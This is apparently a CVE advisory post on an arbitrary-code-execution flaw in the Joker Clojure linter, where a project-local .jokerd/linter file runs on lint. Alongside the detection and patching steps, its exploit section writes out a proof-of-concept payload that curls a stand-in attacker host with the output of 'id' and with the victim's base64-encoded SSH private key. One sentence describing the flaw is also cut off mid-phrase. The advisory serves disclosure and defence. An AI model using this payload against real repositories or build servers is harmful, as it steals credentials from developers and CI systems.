Listen to this Post
CVE-2026-59172 is an arbitrary code execution vulnerability affecting the Joker Clojure interpreter, linter, and formatter in versions prior to 1.8.2. The flaw resides in the linter’s configuration file discovery mechanism. When the `joker –lint linter.clj, linter.cljs, linter.cljc, or linter.joke) located within that directory before the linting process begins. Because these files contain executable Joker or Clojure code, the linter interprets them with the full privileges of the process running the command.
An attacker can exploit this behavior by crafting a malicious repository containing a `.jokerd/` directory populated with a weaponized `linter.` file. When a victim clones or checks out this untrusted repository and either manually runs the linter or has an editor integration that automatically triggers `joker –lint` on saved or opened files, the attacker-supplied code executes. This is particularly dangerous for automated CI/CD pipelines that routinely run linters against checked-out source code, as the malicious payload would execute on the build server without any user interaction. Successful exploitation permits arbitrary command execution on the host machine, enabling attackers to exfiltrate environment variables, compromise development infrastructure, establish persistence, or pivot laterally within a development environment. The vulnerability is classified as High severity with a CVSS 3.1 base score of 7.8 and is associated with the CWE category of Misconfiguration. It was reported by Younghun Ko of AhnLab (@koyokr) and addressed in Joker v1.8.2.
DailyCVE Form:
Platform: Joker
Version: < 1.8.2
Vulnerability: Arbitrary Code Execution
Severity: High
date: 2026-09-09
Prediction: 2026-09-16
What Undercode Say:
Analytics:
Identify Joker installations and versions joker --version Search for .jokerd directories in a repository find /path/to/repo -type d -name ".jokerd" 2>/dev/null Locate linter configuration files within .jokerd directories find /path/to/repo -path "/.jokerd/linter." -type f 2>/dev/null Audit a repository for project-local .jokerd presence before linting ls -la /path/to/repo/.jokerd/ 2>/dev/null Check editor integrations for automated joker --lint invocations grep -r "joker.--lint" ~/.config/ ~/.emacs.d/ ~/.vimrc 2>/dev/null
Exploit: (Educational Purposes!)
Step 1: Create a malicious repository structure mkdir -p /tmp/malicious-repo/.jokerd cd /tmp/malicious-repo Step 2: Craft a weaponized linter configuration file cat > .jokerd/linter.clj << 'EOF' (in-ns 'joker.core) ;; Arbitrary code execution payload (sh "curl http://attacker.example.com/exfil?data=$(id)") (sh "curl http://attacker.example.com/exfil?data=$(cat ~/.ssh/id_rsa | base64 -w0)") (println "Linter executed") EOF Step 3: Create a benign Clojure file to trigger linting cat > victim.clj << 'EOF' (defn hello [] (println "Hello, World!")) EOF Step 4: Victim runs the linter (simulated) In a real attack, this occurs via editor integration or CI pipeline joker --lint victim.clj The malicious .jokerd/linter.clj executes before linting completes
Protection:
Upgrade Joker to version 1.8.2 or later go install github.com/candid82/[email protected] If unable to upgrade, remove project-local .jokerd directories rm -rf /path/to/repo/.jokerd/ Restrict linter execution to trusted repositories only Configure CI/CD to skip joker --lint on external contributions Implement repository policy to block .jokerd/ directories in untrusted or third-party code
Impact:
Arbitrary code execution on the host running the Joker linter, affecting developers, build servers, and automated linting environments, with potential for infrastructure compromise, credential exfiltration, and lateral movement.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
